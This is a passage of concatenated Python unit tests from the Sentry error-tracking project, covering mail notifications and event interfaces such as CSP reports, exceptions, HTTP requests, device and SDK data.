        event.interfaces = {'sentry.interfaces.Stacktrace': stacktrace}

        notification = Notification(event=event)

        with self.options({'system.url-prefix': 'http://example.com'}):
            self.plugin.notify(notification)

        stacktrace.get_title.assert_called_once_with()
        stacktrace.to_email_html.assert_called_once_with(event)

    @mock.patch('sentry.plugins.sentry_mail.models.MailPlugin._send_mail')
    def test_notify_users_does_email(self, _send_mail):
        group = Group(
            id=2,
            first_seen=timezone.now(),
            last_seen=timezone.now(),
            project=self.project,
            message='hello world',
            logger='root',
        )

        event = Event(
            group=group,
            message=group.message,
            project=self.project,
            datetime=group.last_seen,
            data={
                'tags': [
                    ('level', 'error'),
                ]
            },
        )

        notification = Notification(event=event)

        with self.options({'system.url-prefix': 'http://example.com'}):
            self.plugin.notify(notification)

        assert _send_mail.call_count is 1
        args, kwargs = _send_mail.call_args
        self.assertEquals(kwargs.get('project'), self.project)
        self.assertEquals(kwargs.get('reference'), group)
        assert kwargs.get('subject') == u"[{0} {1}] ERROR: hello world".format(
            self.team.name, self.project.name)

    @mock.patch('sentry.plugins.sentry_mail.models.MailPlugin._send_mail')
    def test_multiline_error(self, _send_mail):
        group = Group(
            id=2,
            first_seen=timezone.now(),
            last_seen=timezone.now(),
            project=self.project,
            message='hello world\nfoo bar',
            logger='root',
        )

        event = Event(
            group=group,
            message=group.message,
            project=self.project,
            datetime=group.last_seen,
            data={
                'tags': [
                    ('level', 'error'),
                ]
            },
        )

        notification = Notification(event=event)

        with self.options({'system.url-prefix': 'http://example.com'}):
            self.plugin.notify(notification)

        assert _send_mail.call_count is 1
        args, kwargs = _send_mail.call_args
        assert kwargs.get('subject') == u"[{0} {1}] ERROR: hello world".format(
            self.team.name, self.project.name)

    def test_get_sendable_users(self):
        from sentry.models import UserOption, User

        user = self.create_user(email='foo@example.com', is_active=True)
        user2 = self.create_user(email='baz@example.com', is_active=True)
        self.create_user(email='baz2@example.com', is_active=True)

        # user with inactive account
        self.create_user(email='bar@example.com', is_active=False)
        # user not in any groups
        self.create_user(email='bar2@example.com', is_active=True)

        organization = self.create_organization(owner=user)
        team = self.create_team(organization=organization)

        project = self.create_project(name='Test', team=team)
        OrganizationMemberTeam.objects.create(
            organizationmember=OrganizationMember.objects.get(
                user=user,
                organization=organization,
            ),
            team=team,
        )
        self.create_member(user=user2, organization=organization, teams=[team])

        # all members
        assert (sorted(set([user.pk, user2.pk])) ==
                sorted(self.plugin.get_sendable_users(project)))

        # disabled user2
        UserOption.objects.create(key='mail:alert', value=0,
                                  project=project, user=user2)

        assert user2.pk not in self.plugin.get_sendable_users(project)

        user4 = User.objects.create(username='baz4', email='bar@example.com',
                                    is_active=True)
        self.create_member(user=user4, organization=organization, teams=[team])
        assert user4.pk in self.plugin.get_sendable_users(project)

        # disabled by default user4
        uo1 = UserOption.objects.create(key='subscribe_by_default', value='0',
                                  project=project, user=user4)

        assert user4.pk not in self.plugin.get_sendable_users(project)

        uo1.delete()

        UserOption.objects.create(key='subscribe_by_default', value=u'0',
                                  project=project, user=user4)

        assert user4.pk not in self.plugin.get_sendable_users(project)

    def test_notify_users_with_utf8_subject(self):
        group = self.create_group(message='Hello world')
        event = self.create_event(group=group, message=u'רונית מגן', tags={'level': 'error'})

        notification = Notification(event=event)

        with self.options({'system.url-prefix': 'http://example.com'}), self.tasks():
            self.plugin.notify(notification)

        assert len(mail.outbox) == 1
        msg = mail.outbox[0]
        assert msg.subject == u'[Sentry] [foo Bar] ERROR: רונית מגן'

    @mock.patch.object(MailPlugin, 'notify', side_effect=MailPlugin.notify, autospec=True)
    @mock.patch.object(MessageBuilder, 'send_async', autospec=True)
    def test_notify_digest(self, send_async, notify):
        project = self.event.project
        rule = project.rule_set.all()[0]
        digest = build_digest(
            project,
            (
                event_to_record(self.create_event(group=self.create_group()), (rule,)),
                event_to_record(self.event, (rule,)),
            ),
        )
        self.plugin.notify_digest(project, digest)
        assert send_async.call_count is 1
        assert notify.call_count is 0

    @mock.patch.object(MailPlugin, 'notify', side_effect=MailPlugin.notify, autospec=True)
    @mock.patch.object(MessageBuilder, 'send_async', autospec=True)
    def test_notify_digest_single_record(self, send_async, notify):
        project = self.event.project
        rule = project.rule_set.all()[0]
        digest = build_digest(
            project,
            (
                event_to_record(self.event, (rule,)),
            ),
        )
        self.plugin.notify_digest(project, digest)
        assert send_async.call_count is 1
        assert notify.call_count is 1

    @mock.patch(
        'sentry.models.ProjectOption.objects.get_value',
        Mock(side_effect=lambda p, k, d: "[Example prefix] " if k == "mail:subject_prefix" else d)
    )
    def test_notify_digest_subject_prefix(self):
        project = self.event.project
        rule = project.rule_set.all()[0]
        digest = build_digest(
            project,
            (
                event_to_record(self.create_event(group=self.create_group()), (rule,)),
                event_to_record(self.event, (rule,)),
            ),
        )

        with self.tasks():
            self.plugin.notify_digest(project, digest)

        assert len(mail.outbox) == 1

        msg = mail.outbox[0]

        assert msg.subject.startswith('[Example prefix] [foo Bar]')

    def test_assignment(self):
        activity = Activity.objects.create(
            project=self.project,
            group=self.group,
            type=Activity.ASSIGNED,
            user=self.create_user('foo@example.com'),
            data={
                'assignee': six.text_type(self.user.id),
            },
        )

        with self.tasks():
            self.plugin.notify_about_activity(activity)

        assert len(mail.outbox) == 1

        msg = mail.outbox[0]

        assert msg.subject == 'Re: [Sentry] [foo Bar] ERROR: \xe3\x81\x93\xe3\x82\x93\xe3\x81\xab\xe3\x81\xa1\xe3\x81\xaf'
        assert msg.to == [self.user.email]

    def test_note(self):
        user_foo = self.create_user('foo@example.com')

        activity = Activity.objects.create(
            project=self.project,
            group=self.group,
            type=Activity.NOTE,
            user=user_foo,
            data={
                'text': 'sup guise',
            },
        )

        self.project.team.organization.member_set.create(user=user_foo)

        with self.tasks():
            self.plugin.notify_about_activity(activity)

        assert len(mail.outbox) == 1

        msg = mail.outbox[0]

        assert msg.subject == 'Re: [Sentry] [foo Bar] ERROR: \xe3\x81\x93\xe3\x82\x93\xe3\x81\xab\xe3\x81\xa1\xe3\x81\xaf'
        assert msg.to == [self.user.email]






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from exam import fixture

from sentry.interfaces.applecrash import AppleCrashReport
from sentry.testutils import TestCase


class AppleCrashReportTest(TestCase):
    @fixture
    def interface(self):
        return AppleCrashReport.to_python(dict(
            crash={
                'diagnosis': 'Aha',
                'error': {},
                'threads': [],
            },
            binary_images=[
                {
                    "cpu_subtype": 9,
                    "cpu_type": 12,
                    "image_addr": 749568,
                    "image_size": 262144,
                    "image_vmaddr": 16384,
                    "name": (
                        '/private/var/mobile/Containers/Bundle/Application'
                        '/436352A9-1BE2-4934-9C6F-237CC7DFF27B'
                        '/Crash-Tester.app/Crash-Tester'
                    ),
                    "uuid": "8094558B-3641-36F7-BA80-A1AAABCF72DA"
                }
            ],
        ))

    def test_path(self):
        assert self.interface.get_path() == 'sentry.interfaces.AppleCrashReport'

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()

    def test_empty_hash(self):
        assert self.interface.get_hash() == []






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from exam import fixture

from sentry.interfaces.csp import Csp
from sentry.testutils import TestCase


class CspTest(TestCase):
    @fixture
    def interface(self):
        return Csp.to_python(dict(
            document_uri='http://example.com',
            violated_directive='style-src cdn.example.com',
            blocked_uri='http://example.com/lol.css',
            effective_directive='style-src',
        ))

    def test_path(self):
        assert self.interface.get_path() == 'sentry.interfaces.Csp'

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()

    def test_basic(self):
        result = self.interface
        assert result.document_uri == 'http://example.com'
        assert result.violated_directive == 'style-src cdn.example.com'
        assert result.blocked_uri == 'http://example.com/lol.css'

    def test_coerce_blocked_uri_if_missing(self):
        result = Csp.to_python(dict(
            document_uri='http://example.com',
            effective_directive='script-src',
        ))
        assert result.blocked_uri == 'self'

    def test_get_culprit(self):
        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            violated_directive='style-src http://cdn.example.com',
            effective_directive='style-src',
        ))
        assert result.get_culprit() == 'style-src http://cdn.example.com'

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            violated_directive='style-src cdn.example.com',
            effective_directive='style-src',
        ))
        assert result.get_culprit() == 'style-src cdn.example.com'

        result = Csp.to_python(dict(
            document_uri='https://example.com/foo',
            violated_directive='style-src cdn.example.com',
            effective_directive='style-src',
        ))
        assert result.get_culprit() == 'style-src cdn.example.com'

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            violated_directive='style-src https://cdn.example.com',
            effective_directive='style-src',
        ))
        assert result.get_culprit() == 'style-src https://cdn.example.com'

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            violated_directive='style-src http://example.com',
            effective_directive='style-src',
        ))
        assert result.get_culprit() == "style-src 'self'"

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            violated_directive='style-src http://example2.com example.com',
            effective_directive='style-src',
        ))
        assert result.get_culprit() == "style-src http://example2.com 'self'"

    def test_get_hash(self):
        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='',
        ))
        assert result.get_hash() == ['script-src', "'self'"]

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='self',
        ))
        assert result.get_hash() == ['script-src', "'self'"]

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='http://example.com/lol.js',
        ))
        assert result.get_hash() == ['script-src', 'example.com']

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='img-src',
            blocked_uri='data:foo',
        ))
        assert result.get_hash() == ['img-src', 'data:']

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='img-src',
            blocked_uri='ftp://example.com/foo',
        ))
        assert result.get_hash() == ['img-src', 'ftp://example.com']

    def test_get_tags(self):
        assert self.interface.get_tags() == (
            ('effective-directive', 'style-src'),
            ('blocked-uri', 'http://example.com/lol.css'),
        )

    def test_get_message(self):
        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='img-src',
            blocked_uri='http://google.com/foo',
        ))
        assert result.get_message() == "Blocked 'image' from 'google.com'"

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='style-src',
            blocked_uri='',
        ))
        assert result.get_message() == "Blocked inline 'style'"

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='',
            violated_directive="script-src 'unsafe-inline'",
        ))
        assert result.get_message() == "Blocked unsafe eval() 'script'"

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='',
            violated_directive="script-src 'unsafe-eval'",
        ))
        assert result.get_message() == "Blocked unsafe inline 'script'"

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='',
            violated_directive="script-src example.com",
        ))
        assert result.get_message() == "Blocked unsafe (eval() or inline) 'script'"

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D',
        ))
        assert result.get_message() == "Blocked 'script' from 'data:'"

        result = Csp.to_python(dict(
            document_uri='http://example.com/foo',
            effective_directive='script-src',
            blocked_uri='data',
        ))
        assert result.get_message() == "Blocked 'script' from 'data:'"






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from exam import fixture

from sentry.interfaces.template import Template
from sentry.models import Event
from sentry.testutils import TestCase


class TemplateTest(TestCase):
    @fixture
    def interface(self):
        return Template.to_python(dict(
            filename='foo.html',
            context_line='hello world',
            lineno=1,
        ))

    def test_serialize(self):
        result = self.interface.to_json()
        self.assertEquals(result['filename'], 'foo.html')
        self.assertEquals(result['context_line'], 'hello world')
        self.assertEquals(result['lineno'], 1)

    def test_get_hash(self):
        result = self.interface.get_hash()
        self.assertEquals(result, ['foo.html', 'hello world'])

    @mock.patch('sentry.interfaces.template.get_context')
    @mock.patch('sentry.interfaces.template.Template.get_traceback')
    def test_to_string_returns_traceback(self, get_traceback, get_context):
        get_traceback.return_value = 'traceback'
        event = mock.Mock(spec=Event)
        result = self.interface.to_string(event)
        get_traceback.assert_called_once_with(event, get_context.return_value)
        self.assertEquals(result, 'Stacktrace (most recent call last):\n\ntraceback')

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()

    def test_get_api_context(self):
        result = self.interface.get_api_context()
        assert result == {
            'filename': 'foo.html',
            'context': [(1, 'hello world')],
            'lineNo': 1,
        }






# -*- coding: utf-8 -*-

from __future__ import absolute_import


from sentry.interfaces.contexts import Contexts
from sentry.testutils import TestCase


class ContextsTest(TestCase):

    def test_os(self):
        ctx = Contexts.to_python({
            'os': {
                'name': 'Windows',
                'version': '95',
                'rooted': True,
            },
        })
        assert sorted(ctx.iter_tags()) == [
            ('os', 'Windows 95'),
            ('os.name', 'Windows'),
            ('os.rooted', 'yes'),
        ]
        assert ctx.to_json() == {
            'os': {
                'type': 'os',
                'name': 'Windows',
                'version': '95',
                'rooted': True,
            }
        }

    def test_runtime(self):
        ctx = Contexts.to_python({
            'runtime': {
                'name': 'Java',
                'version': '1.2.3',
                'build': 'BLAH',
            },
        })
        assert sorted(ctx.iter_tags()) == [
            ('runtime', 'Java 1.2.3'),
            ('runtime.name', 'Java'),
        ]
        assert ctx.to_json() == {
            'runtime': {
                'type': 'runtime',
                'name': 'Java',
                'version': '1.2.3',
                'build': 'BLAH',
            }
        }

    def test_device(self):
        ctx = Contexts.to_python({
            'device': {
                'name': 'My iPad',
                'model': 'iPad',
                'model_id': '1234AB',
                'version': '1.2.3',
                'arch': 'arm64',
            },
        })
        assert sorted(ctx.iter_tags()) == [
            ('device', 'iPad'),
        ]
        assert ctx.to_json() == {
            'device': {
                'type': 'device',
                'name': 'My iPad',
                'model': 'iPad',
                'model_id': '1234AB',
                'version': '1.2.3',
                'arch': 'arm64',
            }
        }

    def test_device_with_alias(self):
        ctx = Contexts.to_python({
            'my_device': {
                'type': 'device',
                'title': 'My Title',
                'name': 'My iPad',
                'model': 'iPad',
                'model_id': '1234AB',
                'version': '1.2.3',
                'arch': 'arm64',
            },
        })
        assert sorted(ctx.iter_tags()) == [
            ('my_device', 'iPad')
        ]
        assert ctx.to_json() == {
            'my_device': {
                'type': 'device',
                'title': 'My Title',
                'name': 'My iPad',
                'model': 'iPad',
                'model_id': '1234AB',
                'version': '1.2.3',
                'arch': 'arm64',
            }
        }

    def test_default(self):
        ctx = Contexts.to_python({
            'whatever': {
                'foo': 'bar',
                'blub': 'blah',
                'biz': [1, 2, 3],
                'baz': {'foo': 'bar'},
            },
        })
        assert sorted(ctx.iter_tags()) == []
        assert ctx.to_json() == {
            'whatever': {
                'type': 'default',
                'foo': 'bar',
                'blub': 'blah',
                'biz': [1, 2, 3],
                'baz': {'foo': 'bar'},
            }
        }

    def test_path(self):
        assert Contexts().get_path() == 'contexts'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from exam import fixture

from sentry.testutils import TestCase
from sentry.interfaces.message import Message


class MessageTest(TestCase):
    @fixture
    def interface(self):
        return Message.to_python(dict(
            message='Hello there %s!',
            params=('world',),
            formatted='Hello there world!',
        ))

    def test_serialize_behavior(self):
        assert self.interface.to_json() == {
            'message': self.interface.message,
            'params': self.interface.params,
            'formatted': 'Hello there world!'
        }

    def test_get_hash_uses_message(self):
        assert self.interface.get_hash() == [self.interface.message]

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()

    def test_serialize_non_string_for_message(self):
        result = type(self.interface).to_python({
            'message': {'foo': 'bar'},
        })
        assert result.message == '{"foo":"bar"}'

    # we had a regression which was throwing this data away
    def test_retains_formatted(self):
        result = type(self.interface).to_python({
            'message': 'foo bar',
            'formatted': 'foo bar baz'
        })
        assert result.message == 'foo bar'
        assert result.formatted == 'foo bar baz'

    def test_discards_dupe_formatted(self):
        result = type(self.interface).to_python({
            'message': 'foo bar',
            'formatted': 'foo bar'
        })
        assert result.message == 'foo bar'
        assert result.formatted is None






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock
from exam import fixture

from sentry.testutils import TestCase
from sentry.interfaces.user import User
from sentry.models import Event


class UserTest(TestCase):
    @fixture
    def event(self):
        return mock.Mock(spec=Event())

    @fixture
    def interface(self):
        return User.to_python(dict(
            id=1,
            email='lol@example.com',
            favorite_color='brown',
        ))

    def test_path(self):
        assert self.interface.get_path() == 'sentry.interfaces.User'

    def test_serialize_behavior(self):
        assert self.interface.to_json() == {
            'id': '1',
            'email': 'lol@example.com',
            'data': {'favorite_color': 'brown'}
        }

    def test_invalid_ip_address(self):
        with self.assertRaises(Exception):
            User.to_python(dict(
                ip_address='abc',
            ))

    def test_invalid_email_address(self):
        with self.assertRaises(Exception):
            User.to_python(dict(
                email=1,
            ))

        with self.assertRaises(Exception):
            User.to_python(dict(
                email='foo',
            ))

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.interfaces.debug_meta import DebugMeta
from sentry.testutils import TestCase


class DebugMetaTest(TestCase):

    def test_basic_behavior(self):
        image_name = (
            '/var/containers/Bundle/Application/'
            'B33C37A8-F933-4B6B-9FFA-152282BFDF13/SentryTest.app/SentryTest'
        )
        interface = DebugMeta.to_python({
            "images": [
                {
                    "type": "apple",
                    "cpu_subtype": 0,
                    "uuid": "C05B4DDD-69A7-3840-A649-32180D341587",
                    "image_vmaddr": 4294967296,
                    "image_addr": '0x100020000',
                    "cpu_type": 16777228,
                    "image_size": 32768,
                    "name": image_name,
                }
            ],
            "sdk_info": {
                "dsym_type": "macho",
                "sdk_name": "iOS",
                "version_major": 9,
                "version_minor": 3,
                "version_patchlevel": 0
            }
        })

        assert len(interface.images) == 1
        img = interface.images[0]
        assert img['type'] == 'apple'
        assert img['cpu_type'] == 16777228
        assert img['cpu_subtype'] == 0
        assert img['uuid'] == 'C05B4DDD-69A7-3840-A649-32180D341587'
        assert img['image_vmaddr'] == '0x100000000'
        assert img['image_addr'] == '0x100020000'
        assert img['image_size'] == 32768
        assert img['name'] == image_name

        assert interface.sdk_info['dsym_type'] == 'macho'
        assert interface.sdk_info['sdk_name'] == 'iOS'
        assert interface.sdk_info['version_major'] == 9
        assert interface.sdk_info['version_minor'] == 3
        assert interface.sdk_info['version_patchlevel'] == 0






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import pytest

from sentry.interfaces.base import InterfaceValidationError
from sentry.interfaces.device import Device
from sentry.testutils import TestCase


class DeviceTest(TestCase):
    def test_serialize_behavior(self):
        assert Device.to_python({
            'name': 'Windows',
            'version': '95',
        }).to_json() == {
            'name': 'Windows',
            'version': '95',
        }

    def test_missing_name(self):
        with pytest.raises(InterfaceValidationError):
            assert Device.to_python({
                'version': '95',
            })

    def test_missing_version(self):
        with pytest.raises(InterfaceValidationError):
            assert Device.to_python({
                'name': 'Windows',
            })

    def test_path(self):
        assert Device().get_path() == 'device'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from exam import fixture

from sentry.interfaces.query import Query
from sentry.testutils import TestCase


class QueryTest(TestCase):
    @fixture
    def interface(self):
        return Query.to_python(dict(query='SELECT 1', engine='psycopg2'))

    def test_serialize_behavior(self):
        assert self.interface.to_json() == {
            'query': self.interface.query,
            'engine': self.interface.engine,
        }

    def test_get_hash_uses_query(self):
        assert self.interface.get_hash() == [self.interface.query]

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.interfaces.breadcrumbs import Breadcrumbs
from sentry.testutils import TestCase


class BreadcrumbsTest(TestCase):
    def test_path(self):
        assert Breadcrumbs().get_path() == 'sentry.interfaces.Breadcrumbs'

    def test_simple(self):
        result = Breadcrumbs.to_python(dict(values=[{
            'type': 'message',
            'timestamp': 1458857193.973275,
            'data': {
                'message': 'Whats up dawg?',
            },
        }]))
        assert len(result.values) == 1
        assert result.values[0]['type'] == 'message'
        ts = result.values[0]['timestamp']
        assert int(ts) == 1458857193
        assert abs(ts - 1458857193.973275) < 0.001
        assert result.values[0]['data'] == {'message': 'Whats up dawg?'}






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import pytest

from sentry.interfaces.base import InterfaceValidationError
from sentry.interfaces.sdk import Sdk
from sentry.testutils import TestCase


class SdkTest(TestCase):
    def test_serialize_behavior(self):
        assert Sdk.to_python({
            'name': 'sentry-unity',
            'version': '1.0',
        }).to_json() == {
            'name': 'sentry-unity',
            'version': '1.0',
        }

    def test_missing_name(self):
        with pytest.raises(InterfaceValidationError):
            assert Sdk.to_python({
                'version': '1.0',
            })

    def test_missing_version(self):
        with pytest.raises(InterfaceValidationError):
            assert Sdk.to_python({
                'name': 'sentry-unity',
            })

    def test_path(self):
        assert Sdk().get_path() == 'sdk'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from exam import fixture

from sentry.interfaces.exception import (
    SingleException, Exception, slim_exception_data
)
from sentry.testutils import TestCase


class ExceptionTest(TestCase):
    @fixture
    def interface(self):
        return Exception.to_python(dict(values=[{
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': True,
            }]},
        }, {
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': True,
            }]},
        }]))

    def test_path(self):
        assert self.interface.get_path() == 'sentry.interfaces.Exception'

    def test_args_as_keyword_args(self):
        inst = Exception.to_python(dict(values=[{
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
        }]))
        assert type(inst.values[0]) is SingleException
        assert inst.values[0].type == 'ValueError'
        assert inst.values[0].value == 'hello world'
        assert inst.values[0].module == 'foo.bar'

    def test_args_as_old_style(self):
        inst = Exception.to_python({
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
        })
        assert type(inst.values[0]) is SingleException
        assert inst.values[0].type == 'ValueError'
        assert inst.values[0].value == 'hello world'
        assert inst.values[0].module == 'foo.bar'

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()

    def test_to_string(self):
        result = self.interface.to_string(self.event)
        assert result == """ValueError: hello world
  File "foo/baz.py", line 1

ValueError: hello world
  File "foo/baz.py", line 1"""

    def test_get_hash(self):
        inst = self.interface

        all_values = sum([v.get_hash() for v in inst.values], [])
        assert inst.get_hash() == all_values

    def test_context_with_mixed_frames(self):
        inst = Exception.to_python(dict(values=[{
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': True,
            }]},
        }, {
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': False,
            }]},
        }]))

        self.create_event(data={
            'sentry.interfaces.Exception': inst.to_json(),
        })
        context = inst.get_api_context()
        assert context['hasSystemFrames']

    def test_context_with_only_system_frames(self):
        inst = Exception.to_python(dict(values=[{
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': False,
            }]},
        }, {
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': False,
            }]},
        }]))

        self.create_event(data={
            'sentry.interfaces.Exception': inst.to_json(),
        })
        context = inst.get_api_context()
        assert not context['hasSystemFrames']

    def test_context_with_only_app_frames(self):
        inst = Exception.to_python(dict(values=[{
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': True,
            }]},
        }, {
            'type': 'ValueError',
            'value': 'hello world',
            'module': 'foo.bar',
            'stacktrace': {'frames': [{
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': True,
            }]},
        }]))

        self.create_event(data={
            'sentry.interfaces.Exception': inst.to_json(),
        })
        context = inst.get_api_context()
        assert not context['hasSystemFrames']


class SingleExceptionTest(TestCase):
    @fixture
    def interface(self):
        return SingleException.to_python(dict(
            type='ValueError',
            value='hello world',
            module='foo.bar',
        ))

    def test_serialize_behavior(self):
        assert self.interface.to_json() == {
            'type': self.interface.type,
            'value': self.interface.value,
            'module': self.interface.module,
            'thread_id': None,
            'mechanism': None,
            'stacktrace': None,
            'raw_stacktrace': None,
        }

    def test_get_hash(self):
        assert self.interface.get_hash() == [
            self.interface.type,
            self.interface.value,
        ]

    def test_get_hash_without_type(self):
        self.interface.type = None
        assert self.interface.get_hash() == [
            self.interface.value,
        ]

    def test_get_hash_without_value(self):
        self.interface.value = None
        assert self.interface.get_hash() == [
            self.interface.type,
        ]

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()

    def test_only_requires_only_type_or_value(self):
        SingleException.to_python(dict(
            type='ValueError',
        ))
        SingleException.to_python(dict(
            value='ValueError',
        ))

    def test_throws_away_empty_stacktrace(self):
        result = SingleException.to_python(dict(
            type='ValueError',
            value='foo',
            stacktrace={'frames': []},
        ))
        assert not result.stacktrace

    def test_coerces_object_value_to_string(self):
        result = SingleException.to_python(dict(
            type='ValueError',
            value={'unauthorized': True},
        ))
        assert result.value == '{"unauthorized":true}'

    def test_handles_type_in_value(self):
        result = SingleException.to_python(dict(
            value='ValueError: unauthorized',
        ))
        assert result.type == 'ValueError'
        assert result.value == 'unauthorized'

        result = SingleException.to_python(dict(
            value='ValueError:unauthorized',
        ))
        assert result.type == 'ValueError'
        assert result.value == 'unauthorized'


class SlimExceptionDataTest(TestCase):
    def test_under_max(self):
        interface = Exception.to_python({'values': [
            {'value': 'foo',
             'stacktrace': {'frames': [{'filename': 'foo'}]},
            }
        ]})
        slim_exception_data(interface)
        assert len(interface.values[0].stacktrace.frames) == 1

    def test_over_max(self):
        values = []
        for x in range(5):
            exc = {'value': 'exc %d' % x, 'stacktrace': {'frames': []}}
            values.append(exc)
            for y in range(5):
                exc['stacktrace']['frames'].append({
                    'filename': 'exc %d frame %d' % (x, y),
                    'vars': {'foo': 'bar'},
                    'context_line': 'b',
                    'pre_context': ['a'],
                    'post_context': ['c'],
                })

        interface = Exception.to_python({'values': values})

        # slim to 10 frames to make tests easier
        slim_exception_data(interface, 10)

        assert len(interface.values) == 5
        for e_num, value in enumerate(interface.values):
            assert value.value == 'exc %d' % e_num
            assert len(value.stacktrace.frames) == 5
            for f_num, frame in enumerate(value.stacktrace.frames):
                assert frame.filename == 'exc %d frame %d' % (e_num, f_num)
                print(frame.filename)
                if e_num in (0, 4):
                    assert frame.vars is not None
                    assert frame.pre_context is not None
                    assert frame.post_context is not None
                else:
                    assert frame.vars is None
                    assert frame.pre_context is None
                    assert frame.post_context is None






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from exam import fixture

from sentry.interfaces.base import InterfaceValidationError
from sentry.interfaces.http import Http
from sentry.testutils import TestCase


class HttpTest(TestCase):
    @fixture
    def interface(self):
        return Http.to_python(dict(
            url='http://example.com',
        ))

    def test_path(self):
        assert self.interface.get_path() == 'sentry.interfaces.Http'

    def test_serialize_unserialize_behavior(self):
        result = type(self.interface).to_python(self.interface.to_json())
        assert result.to_json() == self.interface.to_json()

    def test_basic(self):
        result = self.interface
        assert result.url == 'http://example.com'
        assert result.method is None
        assert result.fragment == ''
        assert result.query_string == ''
        assert result.data is None
        assert result.cookies == []
        assert result.headers == []
        assert result.env == {}
        assert result.full_url == result.url

    def test_full(self):
        result = Http.to_python(dict(
            method='GET',
            url='http://example.com',
            query_string='foo=bar',
            fragment='foobar',
            headers={'x-foo-bar': 'baz'},
            cookies={'foo': 'bar'},
            env={'bing': 'bong'},
            data='hello world',
        ))
        assert result.method == 'GET'
        assert result.query_string == 'foo=bar'
        assert result.fragment == 'foobar'
        assert result.cookies == [('foo', 'bar')]
        assert result.headers == [('X-Foo-Bar', 'baz')]
        assert result.env == {'bing': 'bong'}
        assert result.data == 'hello world'

    def test_query_string_as_dict(self):
        result = Http.to_python(dict(
            url='http://example.com',
            query_string={'foo': 'bar'},
        ))
        assert result.query_string == 'foo=bar'

    def test_query_string_as_dict_unicode(self):
        result = Http.to_python(dict(
            url='http://example.com',
            query_string={'foo': u'\N{SNOWMAN}'},
        ))
        assert result.query_string == 'foo=%E2%98%83'

    def test_data_as_dict(self):
        result = Http.to_python(dict(
            url='http://example.com',
            data={'foo': 'bar'},
        ))
        assert result.data == '{"foo":"bar"}'

    def test_form_encoded_data(self):
        result = Http.to_python(dict(
            url='http://example.com',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            data='foo=bar',
        ))
        assert result.data == 'foo=bar'

    def test_cookies_as_string(self):
        result = Http.to_python(dict(
            url='http://example.com',
            cookies='a=b;c=d',
        ))
        assert result.cookies == [('a', 'b'), ('c', 'd')]
        result = Http.to_python(dict(
            url='http://example.com',
            cookies='a=b&c=d',
        ))
